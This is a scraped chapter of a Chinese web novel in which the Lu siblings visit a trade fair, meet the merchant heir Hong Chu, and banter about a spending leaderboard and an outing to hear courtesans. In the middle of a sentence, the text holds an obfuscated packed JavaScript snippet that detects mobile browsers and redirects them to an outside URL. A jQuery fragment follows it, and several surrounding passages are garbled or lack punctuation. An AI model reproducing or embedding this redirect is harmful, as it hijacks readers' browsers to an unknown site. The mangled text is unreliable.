第158章 我出钱
作品:《双生夫郎互换人生后》 陆杨起早,做了些包子。
除酱肉包子外,还有菌子肉包、粉丝包、豆腐包,再是两个甜口的包子,糖包和豆沙包。
都做的小包子,另外做了些超级小馒头,装了两竹筒。
他还煮了绿豆沙、杂菌汤。
早上这一阵,陆柳和顺哥儿都来帮忙了,弄完以后,陆杨带一筒小馒头,每样包子装十个,再盛了绿豆沙和杂菌汤带上。拿上了一些干桂花,吃完饭可以泡茶喝。
他收拾好食盒,跟谢岩一起去府学。
路上时,陆杨让他下午别拖延,早早出来,两人结伴去乌家拜访。
去大集摆摊一事,陆杨想找乌平之问问。
谢岩也很久没见乌平之了,正好一起过去。谈完正事,他俩聊聊学问。
谢岩不太想让他去大集上摆摊,“有危险,不挣这个钱。”
陆杨挽着他的胳膊,说:“等下我回家,带上柳哥儿和顺哥儿去街上转转,我先看看,晚上再问问财神爷。”
谢岩说:“应该问问黎峰,他有没有把握?到底有多险?”
陆杨觉着黎峰也不知道到底有多险,当个临时的护卫,不到遇险,哪能提前知道?
黎峰跟洪家人也没多熟悉,一时半会儿打听不到重要消息。他们先看看。
到府学门口,陆杨催他进去,过会儿,谢岩来送食盒,陆杨提醒他:“你在家吃过了,就不要跟崔伯伯抢了,让他各样包子都尝尝,看喜欢哪个口味的,我以后还给他做。”
谢岩答应了,等回到静室里,他毫不客气拿包子吃。
陆杨平常做酱肉包子多,别的馅很少弄,他都没吃过这么多包子。他要吃。
崔老先生:“……”
不论见到再多次,还是会惊讶。
“你做什么?”他问道。
谢岩说:“吃包子。”
崔老先生问他:“这是你吃的包子吗?”
谢岩自有道理:“我夫郎请你吃包子,你请我吃包子。我们都不用客气。”
崔老先生:“……”
只有你一个人不客气。
他说:“你真没眼色。”
谢岩嘿嘿笑了,“我还是有眼色的,我看你不反感,我才拿的。我就没拿季明烛和盛大先的包子吃。”
这倒是让崔老先生惊讶,他拿一只小包子吃着,再喝两口杂菌汤,过会儿会过意,瞪他,道:“看菜下碟,欺软怕硬。”
谢
岩没顶嘴,又拿个糖包子吃。
他以前没吃过糖包子,不知是这种好滋味。
一口咬下去,有烫烫的糖汁流出来,里面还有没完全化开的糖粒,口感沙沙的。
他今天来得早,本也吃过来的,吃两个糖包子,就吃不下去了,擦擦手、擦擦嘴,他喝两口茶漱口,从书包里拿本书看。
崔老先生来当看门人,对他有个好处,他能借书回家看。一般是不能带出府学的。
他昨晚跟陆杨在商量大集的事,没看两页,趁早再读读。
崔老先生眼尖,瞥见他书包里还装着一本字帖,上面写着“崔仲卿”。
他让谢岩拿出来看看。字帖摆到桌上,他看见“临写崔仲卿大人千字文”。
崔老先生:“……”
他看向谢岩,谢岩根本没把这本字帖当回事。
他忍不住提醒谢岩:“临帖子没用,乡试的卷子是誊抄阅卷,没法子靠字体胜出。”
谢岩知道。他说:“我夫郎好不容易给我弄来的,我放书包里背着,有事没事翻一翻,他看了高兴。”
谢岩看见这册字帖,还叹气道:“写字帖也能挣钱,但要皇上夸才行。我平常看看,学习也有动力了。”
崔老先生脸上终于有了笑意,他问谢岩:“你知道这个崔仲卿是谁吗?”
谢岩不知道,他就见过县官和学政大人。
他稍稍动动脑子,说:“是你本家。崔伯伯,你的字能挣钱就好了,写个帖子给我夫郎,你养老钱都有了。”
崔老先生愣了下,然后放下包子,哈哈大笑。
谢岩就当他讲了个笑话。值钱的字太少了,除了已故的大书法家们,就是让圣上金口玉言夸一夸了。崔伯伯都这般年纪了,指望他写字帖,不如让他评几篇文章,合订到一起,拿出去卖书挣钱。
谢岩想到这里,突然灵光一闪。
对啊,他怎么就不能请人来评文章,再合订出书呢?这肯定有市场。他还没看过这类型的书。等下午见到陆杨,就问问他行不行!
想到这里,谢岩也哈哈大笑起来。
另一边,陆杨回到家,灶屋都收拾完了。
赵佩兰找出草料,在剁草料,给马准备口粮。
贺夫郎手脚麻利,这一阵都洗完衣裳了,都在院子里晾着。
到陆杨回家,刘有理早已去了府学。贺夫郎就来找陆杨玩。
陆杨说:“我打算带我弟弟去街上逛逛,你
要不要一起去?”
贺夫郎只熟悉附近的街道还没认真逛过听得又想去又忐忑。他手里没留铜板每天吃得少跑远了就会饿晚上就没力气伺候男人了。
陆杨不强求等着陆柳和顺哥儿收摊的空闲把威猛喂了。他避着贺夫郎把狗子带到狗窝那边喂再跟他坐竹床这边说话。
贺夫郎知道狗吃得好。想也知道人没吃饱都是皮包骨更何况是狗?
他看陆家兄弟养的三条狗都胖乎乎的。尤其是陆杨养的威猛毛都炸开了。
贺夫郎跟陆杨说:“柳哥儿找我买了十个咸鸭蛋我三文钱一个卖的得了三十文钱。昨天给我夫君了他瞪我好久然后问我还有多少咸鸭蛋让我都拿出去卖了。他还头一次让我出去卖咸鸭蛋。开了这个头以后我们家日子就会好过一些。”
事出反常必有妖。刘有理不要面子要银子只能是急需用钱。
短期内能用到很多银子的地方就是乡试了。
陆杨稍作提醒:“你不要全卖了你又不出去买菜吃就靠着咸鸭蛋下饭。人不吃菜就算了哪能不吃盐?你靠着它活命的。”
贺夫郎没想到这个愣了会儿点点头满眼感激的应下了。
“我晚上再跟他说说。”
他的话密接下来就是他要跟刘有理商量商量在府城买些鲜鸭蛋和盐他会腌蛋。转手就是银子很划算的。
陆杨算算咸鸭蛋的制作周期再算算乡试的日子觉着贺夫郎能做一次便没拦。
过不多久陆柳跟顺哥儿赶车回来。
他俩力气小是赶马车出门的。
黎峰最近都骑马出去赶到洪家接人就借了陆杨的马用。正好让马出去遛遛弯。
家里两匹小马就不拉车了平常牵着在巷子里走走。
天热早上这一阵的生意后陆柳跟顺哥儿都满头是汗。
他俩神色喜悦到家都笑眯眯的。喊了陆杨“哥哥”跟贺夫郎打声招呼先回屋收拾锅碗。尤其是碗他们特地去杂货铺买了五十个小碗。一碗用一人用完回家洗。
做书生生意
这头收拾妥当陆柳还拉着顺哥儿回屋换了身衣裳。
这阵的日头还好太阳初升要出去就得趁早。
陆柳跟顺哥儿互相理理衣裳到了外头还拿小铜镜照照脸蛋。
陆杨打趣他们:“怎么不
抹抹胭脂和口脂?
陆柳抿抿唇,略略心动,想想待会儿要出的汗,止住了想法,拿了一把小蒲扇在手上。这便能出门了。
陆杨再问贺夫郎要不要一起去,“我们就逛逛,不买什么。明天开大集,我们还没见过,先去看看。
贺夫郎也没见过。他想想婉拒了,他要省点体力。
陆杨不再劝,三人戴上大草帽,往衙门附近走去。
陆柳路上很激动,他跟陆杨和顺哥儿比划,说着黎峰昨晚上告诉他的事情。
“说天上都用布料遮阳,用的素罗布,就是哥夫做书生袍服的料子,四两银子一匹的那个布。大峰说有好多颜色,太阳落上头,照到地上的光都是彩色的,可漂亮了!
别提顺哥儿了,陆杨都睁大了眼睛。
“这么阔气?
陆柳“嗯嗯点头,说:“这些布都要送给客商的,白送!大峰昨晚跟你说了摊位的事,我还说我们能不能得到这些布,他说没可能。这些布料,是谁花钱最多,就都赠给谁。
刺激消费?陆杨把这个法子记下了。
陆柳再说商号有多少,摊位有多少,摊位都是按照时辰出租的,陆杨更是点头。
如此一来,不到最后一天,客商们的消费额不会固定,随便采买一单,就是上千两白银。排名的变化非常快。
陆杨问:“他们会知道自己花销的银子数额排第几吗?
陆柳回忆了下,摇头道:“没听大峰说,可能不知道吧。
顺哥儿急忙忙插话,努力加入这个话题。
“杨哥哥,要是你,你怎么送布?
陆杨反手捏他脸蛋:“谁让你考考我的!
他早没想,突然被提问,一时没有想法。
陆柳低低笑起来,挽着陆杨胳膊,把他拉向自己。
“哥哥,还是我机灵吧!
顺哥儿瞪大眼睛,也不与他抢,陆杨在哪里,他就黏到哪里。他说:“大嫂,你怎么这样?
陆柳没咋样,他就是问问,问问而已。
三人说说笑笑,到了民富路附近。
在大集筹办以及开市期间,这里清场,不能有小摊贩在,商铺则是正常营业的。
因查验期间,也会捉贼,等内场布置完,普通百姓都会绕道走,往来的只有参加大集的商号。
他们就近住店,把样品货物带过来,只等着开摊。
陆杨带着两个弟弟,在外张望。
在大集主场地附近众多的小集市已经提前开起来小摊贩们密密麻麻多数是卖绿豆汤、酸梅汤、银耳汤的还有凉茶、解暑茶。
这些人在府城多年对于每个季度的大集了如指掌。老板和伙计们忙起来没空吃饭把馒头饼子塞嘴里都没空咬一口还赶着吆喝呢!
这时候就要多卖茶水。小摊贩就带两个炉子烧水都烧不及。一个摊贩不够于是又有街连街的小茶摊支起来。尤其是夏季。
别的季节以各类汤、粥为主。
夏季时会有多种口味的茶水。最贵的是银耳汤给老板们吃的。
因离得远这个距离平视过去都能看见铺在头顶的布料。
陆杨又一次惊到了。这场面不亚于他第一次到码头集市的震撼。
摊位已经划分出来占了明早开市时辰的商号都在摆货、看样子。来来回回走着看显不显眼。
有人把货摆得高高的还要看看搭的高台结不结实。
一眼看去天上是彩色的地上是热闹。
他们站在原地还常常给伙计们让路。
这些人或是抬着货或是抬着酒还有人是抬着桌子把查验不合格的桌子换了。
三人里最惊讶的是陆柳。
他来到府城以后连码头都没去过。上街逛逛只知热闹。原来没有最繁华
他前阵子还去扯布了布庄里展示出来的布料都没眼前这条街上挂出来的多。像这样的街道还有好几条。
身后传来祝贺声:“隆昌商号李老板请大家喝茶!祝李老板生意兴隆财源滚滚!”
三人回头看去有个茶摊子被包场了。路过的行人伙计听见这话都围了过去说一句吉祥话换一碗凉茶。
有一个起头别的商号老板听见也拿银子包场一时之间祝贺声此起彼伏。
陆柳看见了这样小小一个茶摊子不过三五壶茶水竟然能收八钱银子。
“哥哥我也想来卖茶……”
陆杨让他别想“想挣钱跟我一起来卖菌子。搞完以后你就能开饭馆了!”
陆柳听到这个心都提起来了。
他不知大集会不会受到影响怕波及无辜恰好倒霉的是他们。
顺哥儿问:“我们要是来卖菌子摊位在哪里啊?”
陆杨猜着应该就在民富街八条主街之首。
毕竟摊位都
定出去了,洪家能给他的,肯定是自家的摊位。
以洪家的财力和主办的地位,在民富街占几个摊位,再正常不过。
陆柳听着摇摇晃晃,路都不稳当了,要挂在陆杨身上。
“天呐……这么多摊位,能挣多少钱……”
陆杨算不出来,他跟乌老爷聊过很多,没详细说到这个。
“晚上我跟你哥夫要去找财神爷,我再找他打听打听。现在还要考虑一个问题,我们就算要来卖货又怎样?码头也没多少存货。再好的机会,也就清个库存。”
陆柳的心都痛了。
这种有钱不能挣的感觉太痛了。
顺哥儿也走不动道了,跟着挂到了陆杨的胳膊上。
陆杨左右看看,挑了一间酒楼,带他们进去坐。
遮阳布都挂上了,不必问二楼包间,他们就在一楼大堂坐。
顺哥儿去过码头集市,知道那里的存货数量。他们家定居府城以后,山寨送货勤。过了端午之后,是三队人送货,错开日子,匀算下来,约七天来一次。
现在铺面和仓房里,能有六千斤山菌。
陆杨摇头,“这不够。”
在码头上,遇见一个大客户,都能五百斤、一千斤的走量,到大集上,应该是一千斤打底。
货物需要宣传,以前府城没流行菌子菜,大集之上也就没谁卖山菌。现在菌子菜扬名了,他们再来叫卖,听见吆喝的人,总会来问问价。
山菌好运输,他们都切片了,不是易碎品,少量沾水也没事。不论是走陆路,还是走水路,这都是很好带的。
要来大集上,得要翻倍的数量才行。
陆柳掰手指算数,震惊道:“一万两千斤?”
陆杨点头,“菌子菜流行一年多了,至今还卖得火热,我们的铺子开在码头上,开门就有生意。凡是出门吆喝拉客,说是卖菌子的,客商们都要来看看,开口都是吃过菌子菜,好吃、难忘。这样少量多次的带货出去,大多数客商的回购量都有增加,甚至翻倍。有部分走陆路的客商是不到码头去的,他们多地奔波,只赶大集。这些人都会提前来,肯定也吃过菌子菜,我们要是来卖货,他们八成感兴趣。半天的摊位……可惜了。”
如果都是小气鬼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14983698|144067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一人拿个百来斤,他半天刚好卖完。现在怕是不行。
他摇摇头,点上茶,点一盘瓜子,再上一盘牛肉塔。
酒楼不欢迎闲客,他们才
吃过早饭没法子再吃。点个牛肉塔凑数。
陆杨第一次吃牛肉塔是在登高楼有个文雅的名字“状元塔”。三钱银子一盘。
那次吃是余老板给他添的菜为谢岩庆生。可惜谢岩没吃着。
快到他的生辰了今年一定带他去吃。
陆杨说:“这个菜是卤菜白口都能吃当零嘴吃味道挺好的。”
陆柳小声嘀咕:“我今天卖出去的早饭才三百多文钱不算本钱就够买这个菜吃。”
陆杨让他看看外头“我的好柳哥儿你看看外头的景象三钱银子算什么?你的心要大一些以后的路还长呢!”
陆柳果真听话看向门外。他看见了黎峰。
他没想到能在这里碰见黎峰习惯性招手喊人喊出“大峰”二字才受惊似的捂住嘴巴。
陆杨跟顺哥儿都朝那边看去。顺哥儿提前捂住了嘴巴没发出声音。陆杨则挑挑眉毛看了眼洪家大少爷。
身材如此纤细还欲盖弥彰的戴着抹额。是个小哥儿。
洪家这样大的家业竟让小哥儿来打理。
陆杨心潮澎湃内心极受鼓舞。都说商人位卑低贱男人行商尚且阻碍重重小哥儿小姐儿出来做生意更是难如登天。做个大生意被千万人盯着承受的恶意极大。
洪楚可以那他也可以。
陆杨在乌老爷子那里听来的种种险阻突地松快。前途一片光明!
黎峰知道他们会来逛逛没想到是在酒楼碰上略一挑眉笑了笑。
看他笑了陆柳才放松下来。
四方的桌子坐了三个人一人占一边陆柳不踏实
掌柜的亲自迎过去把洪楚等人迎到二楼包间。
洪楚问黎峰:“那是你夫郎?有两个长得一样。”
黎峰说:“喊我的是我夫郎跟他长得像的是他哥哥。剩下那个是我弟弟。”
洪楚回头看向那一桌正好对上陆杨火热的视线他扬扬眉跟洪老五说:“五叔把他们请来我想跟他们聊聊。”
洪老五落后一步等洪楚他们上楼才朝着陆杨等人走来说了洪楚的意思。
“我家少爷想跟你们说说话请吧?”
顺哥儿有些害怕还舍不得牛肉塔想留在这里。
陆杨说:“走别给你大哥丢脸。”
他也瞥见了陆柳的心疼模样喊来伙计让人打包
放在柜台上。等会儿带回家吃。
陆杨跟顺哥儿都见过洪老五他单独给陆柳做了介绍。
洪老五对陆柳挺客气的说:“我常听黎兄弟提起你他们那一帮兄弟都是疼夫郎媳妇的在码头都成佳话了。”
陆柳不知这是不是真的他客套回去。
洪老五给两个宝宝送过长命锁是银子做的他也惦记着。
“早听说过你我在家带孩子难得出来一趟没法子去码头还说让大峰请你到家里吃顿饭。他说太远了你也忙就在码头请我一直没机会见着你今天真是有缘!”
洪老五听着笑呵呵的领他们上二楼。
陆柳就说个场面话人还是虚虚的挽着陆杨的胳膊。
陆杨冲他挤眉弄眼无言把陆柳揶揄了一通到了楼上陆柳两脸红彤彤的。
他再看站在包间里的黎峰不知怎的脸色更红了。
洪楚请他们坐跟黎峰说:“黎老板受我委托今天委屈了改天请你吃酒。”
黎峰站后头别无二话。
陆杨等三人入座小二来上茶、上瓜子再端上一盘牛肉塔。跟他们在一楼大堂点的东西一样。
洪楚问陆杨:“陆夫郎你逛完集市了吗?感觉怎样?”
陆杨说好。他非常震撼以前闻所未闻见所未见。
洪楚再问他:“你看还有哪里能改的吗?”
同类之间有默契。陆杨抬眸看明白他问自己的原因便如实说:“我以前没赶过大集这两天才有所了解。一路走来
洪楚点头“是这样年年如此。大集上不出货只出货单。各家仓房备好货拿着货单和银票找管事登记我们有账房核对。集市收摊时会在这条街的酒楼大摆宴席到时公布账目一并把布料送出。”
陆杨垂眸想想问他:“你知道花魁的叫价方式吗?”
洪老五瞪大眼睛。
洪楚挑眉:“怎么说?”
陆杨笑道:“价钱嘛是比出来的。这个彩头也是客商财力的比拼。我听说还有皇商会来采买?一般商人哪好压着皇商去抢彩头?如果是我我今年拿货非常多有可能拿到第一
,为着能拿下一千多两的布料,我会再凑凑数,让这个名头稳当。但如果有皇商来,我就会酌情少拿一些。一些可买可不买的东西,我这次不会买。”
客商有大小,排除皇商之后,就剩大客商之间的竞争。这既是利益,也是荣誉。
能拿第一的客商,名头响亮不用提。同时还能展现实力,让集市商号们都能看见他们家的财力,往后合作者无数。
只要银两相差不多,前后几个名次之间,都会争一争。
而皇商来参与,把他们的花销报出来,别家客商心中有数,想拿货的,算算账,也能多拿一些。
洪楚听着有趣,引他说出下文:“你的意思是?”
陆杨说:“辛苦一下账房,在主街之上贴红榜。只贴前十名。再找几个伙计,满街吆喝,只说哪家客商位居第一便可。”
洪楚突然转话题:“你点过花魁?”
陆杨差点呛到,他去哪里点花魁?!
“我听说的,我在市井长大的,乱七八糟的东西听了很多。男人去了花街就爱吹牛。多少银子听一曲、睡一觉,还要说具体的人是谁。既要显阔,也要显摆他能挨上天仙。”
洪楚有些失望:“我也没点过。”
室内有一阵沉默。
陆杨数次张嘴,豁出去与他攀交情。
“改天我们一起去。”
洪楚笑了。
陆杨说:“你出钱。”
洪楚点头。
陆杨也笑了。
难怪状元郎喜欢跟财神爷玩,有人出钱就是爽啊。
他还没点花魁呢,心情就好了。
洪楚看向陆柳:“小陆夫郎,你想去吗?”
陆柳倏地坐直,他磕磕巴巴说:“我、我就不用去了吧……”
他性格跟陆杨完全不一样。
洪楚说:“我出钱。”
陆柳内心挣扎数遍,又透过窗户,看看那些彩布。
他想去长长见识,想看看花街是什么样子的,花魁又是什么样子的。
他点头说好。
顺哥儿一看他俩都要去,想开口又不敢,就眼巴巴看着洪楚。
洪楚不带他。
“我可不想得罪黎老板,他杀人厉害。”
黎峰:“……”
顺哥儿说:“你都把我大嫂带去了……”
洪楚觉着没什么,“听个曲而已,又不做什么。”
他喊洪老五:“五叔,上菜吧。”
话题又被他带到了红榜上。